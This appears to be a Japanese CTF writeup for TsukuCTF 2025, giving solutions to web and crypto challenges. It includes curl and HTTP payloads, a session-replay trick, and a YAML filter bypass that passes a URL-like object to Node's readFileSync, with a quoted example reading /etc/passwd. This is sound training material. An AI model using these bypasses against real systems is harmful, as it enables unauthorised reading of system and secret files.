はまやんはまやんはまやん

hamayanhamayan's blog

TsukuCTF 2025 Writeup

[web] len_len

"length".length is 6 ?

ソースコード有り。メインの部分は以下。

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

10文字以上のjsonを送って、それをパースしたものがarray.length < 0を満たせばフラグがもらえる。サンプルは

How to use -> curl -X POST -d 'array=[1,2,3,4]' http://localhost:28888

のように配列を渡す形だが、これを辞書形式に変えて送る。このとき、lengthを指定すればそれを使ってくれる。よって、

curl -X POST -d 'array={"length":-1337}' http://localhost:28888

とするとフラグ。

[web] flash

3, 2, 1, pop!

ソースコード有り。ゴールは実際にサイトを動かすと分かりやすい。フラッシュ暗算で10個の数が表示されるのでその総和を求めればフラグが手に入る。だが、最初と最後のそれぞれ3つずつ以外は見えなくなっているため、普通に総和を取って計算することはできないのでどうするかという問題。

答えを提出してフラグを得るエンドポイントは以下のような感じ。

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

SEEDとsession_idとround_indexを入れてgenerate_round_digits関数で作られる数を10ラウンド分作り、その総和を当てるとフラグが得られる。

セッションの再利用

前半部分の処理について考えてみよう。

if request.method == 'GET':
    if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
        return redirect(url_for('flash'))
    token = secrets.token_hex(16)
    session['result_token'] = token
    used_tokens.add(token)
    return render_template('result.html', token=token)

form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
        or form_token not in used_tokens):
    return redirect(url_for('index'))
used_tokens.remove(form_token)

まず、GETでアクセスしたときに、result_tokenを発行し、それをPOSTで答えを送ったときに確認して消すということをしている。この処理があるので、答えを再送しても2回目は弾かれるという実装になっている。なぜ、2回目をはじいているかというと、(恐らくだが)以下の部分にあるように回答後は答えを出力しているためである。

resp = make_response(
    render_template('result.html', submitted=ans, correct=correct_sum,
                    success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)

だが、実装をよく見ると、session自体が無効化されている訳ではないのでGETでresult_tokenを再度作成することで、セッションを再利用することができる。よって、以下の流れで正しい答えを提出することができる。Burp Suiteなどでリクエストを保存しながらやる。

  1. 普通にフラッシュ暗算をスタートする
  2. 最終的にGET /resultが開かれる
  3. 適当な答えをPOST /resultで提出する
  4. 回答に正解が出力されるので、それをコピーしておく -> 65134908
  5. 手順2のGET /resultの記録しておいたリクエストを再送する
  6. すると、Set-Cookieでsessionが、Bodyでresult_tokenが再度発行される
  7. 手順4のPOST /resultCookieのsessionとBodyのtokenとanswerを手順4と手順6のものに入れ替えて送るとフラグが得られる

[web] YAMLwaf

YAML is awesome!!

ソースコード有り。サーバー部分は簡潔。./flag.txtが取得できればフラグ獲得。

app.post('/', (req, res) => {
  try {
    if (req.body.includes('flag')) {
      return res.status(403).send('Not allowed!');
    }
    if (req.body.includes('\\') || req.body.includes('/')
      || req.body.includes('!!') || req.body.includes('<')) {
      return res.status(403).send('Hello, Hacker :)');
    }
    const data = yaml.load(req.body);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request');
  }
});

flagという文字列と\/!<が使えない状態でfile: flag.txtのように読み込めるものを探せという問題。

脈絡はないのだが、手元の資料にメモってあったreadFileSyncに辞書を入れることでファイルを読み込むテクを利用した。corCTF 2022 writeup - st98 の日記帳 - コピーにあるように

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

のような辞書を入れてやることでファイル読み込みができる。これを試してみる。YAMLだとパーセントエンコーディングは使えないが、このやり方であれば途中でパーセントエンコーディングを解除してくれるのでflag.txtを%66%6c%61%67%2e%74%78%74のようにして送り込んでも問題ない。よって、以下のようなHTTPリクエストを送るとフラグが手に入る。

POST / HTTP/1.1
Host: localhost:50001
Content-Type: text/plain
Content-Length: 106

file:
  href: a
  origin: b
  protocol: 'file:'
  pathname: '%66%6c%61%67%2e%74%78%74'
  hostname: ''

[crypto] PQC0

PQC(ポスト量子暗号)を使ってみました!

ソースコード prob.py とoutput.txtが与えられる。ソースコードは以下。

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key ====")
print(private_key.decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())

Shared Secretを作って、それを使ってAES-ECBでフラグを暗号化している。output.txtはこのスクリプトの出力結果が置かれていて、秘密鍵、暗号化されたShared Secret、暗号化されたフラグが書かれている。秘密鍵が配布されているので、それを使ってShared Secretを復元し、それを使ってフラグを復元する。

方式はML-KEMという格子暗号をベースにした鍵共有アルゴリズムで、対応しているOpenSSL 3.5.0が必要とコメントにあるので、持ってくる必要があるのだがビルドが一生通らず、結局alpineのedgeレポを使うことにした。

FROM alpine:latest

RUN echo "https://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories && \
    echo "https://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories && \
    apk update && \
    apk add --no-cache openssl bash && \
    rm -rf /var/cache/apk/*

CMD ["bash"]

で用意して、docker build . -t test/test --no-cacheしてdocker run -v ${PWD}:/mnt --rm -it test/testすると、OpenSSL 3.5.0 8 Apr 2025 (Library: OpenSSL 3.5.0 8 Apr 2025)が使えるようになる。秘密鍵をpriv-ml-kem-768.pem、暗号化されたShared Secretをciphertext.datとして保存してopenssl pkeyutl -decap -inkey priv-ml-kem-768.pem -in ciphertext.dat -out shared.datすると、shared.datが復元できるので、後は以下のようにすればフラグが得られる。

from Crypto.Cipher import AES

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = bytes.fromhex("5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd")
flag = AES.new(shared_secret, AES.MODE_ECB).decrypt(encrypted_flag)
print(flag)

[crypto] a8tsukuctf

適当な KEY を作って暗号化したはずが、 tsukuctf の部分が変わらないなぁ...

暗号化に使うソースコードは以下。

import string

plaintext = '[REDACTED]'
key = '[REDACTED]'

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'


# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7
def f(p, k):
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p + k) % 26
    return chr(ord('a') + ret)


def encrypt(plaintext, key):
    assert len(key) <= len(plaintext)

    idx = 0
    ciphertext = []
    cipher_without_symbols = []

    for c in plaintext:
        if c in string.ascii_lowercase:
            if idx < len(key):
                k = key[idx]
            else:
                k = cipher_without_symbols[idx-len(key)]
            cipher_without_symbols.append(f(c, k))
            ciphertext.append(f(c, k))
            idx += 1          
        else:
            ciphertext.append(c)

    ciphertext = ''.join(c for c in ciphertext)

    return ciphertext


ciphertext = encrypt(plaintext=plaintext, key=key)

with open('output.txt', 'w') as f:
    f.write(f'{ciphertext=}\n')

ヴィジュネル暗号っぽいが、鍵の2周期目からは鍵を再利用するのではなく、それ以前の暗号文を鍵として利用している。(これもヴィジュネル暗号?もしくは、良く知られた亜種?わからない)ソースコード中にヒントが書いてある。

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'

問題文にもあったように、途中にtsukuctfというのが平文と暗号文に現れ、変わらないよということがかいてある。暗号文を実際に見てみると以下のような感じ。

ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj?

平文と暗号文が変化しないということはaを鍵としていることになる。そして上を見ると、tsukuctfの前にaaaaaaaaと同じ個数分8があるので、これが使われたようだ。また、これがあるということは、鍵の1周期は終わっていることにもなり、

aybwpguu
jmzpwomj
aaaaaaaa
tsukuctf

こんな感じで鍵の長さは8と考えて良さそうだ。鍵の2周期以降はその前の暗号文が使われているので鍵が分からなくても2周期以降を復元することができる。復元しよう。

import string

ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
KEY_LEN = 8

def ff(p, k): # reverse function of f
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p - k + 26) % 26
    return chr(ord('a') + ret)

def decrypt_without_1stblock(ciphertext):
    idx = 0
    plaintext = []
    cipher_without_symbols = []

    for c in ciphertext:
        if c in string.ascii_lowercase:
            if idx < KEY_LEN:
                pass
            else:
                plaintext.append(ff(c, cipher_without_symbols[idx - KEY_LEN]))

            cipher_without_symbols.append(c)
            idx += 1
        else:
            plaintext.append(c)

    plaintext = ''.join(c for c in plaintext)

    return plaintext

plaintext = decrypt_without_1stblock(ciphertext)
print(plaintext)

これを実行すると以下。

$ python3 solver.py 
  joy this problem or tsukuctf, or both? the flag is concatenate the seventh word in the first sentence, the third word in the second sentence, and 'fun' with underscores.

最初の8文字が消えていて分からないがDid you enとかそんな所だろうと推測して、word数を推測しながらフラグを作ると正答。TsukuCTF25{tsukuctf_is_fun}

[crypto] xortsukushift 解けず

つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは TsukuCTF25{} です。ソースコードは以下。

z3やろ!と投げたら計算が停止しないので、終わりました。GF(2)?

[crypto] PQC1 解けず

シードがあれば一発やろ!と思い見てみると、20 bytes分足りず全てが終わりました。解く方向性がそもそも思いつかず、精進不足。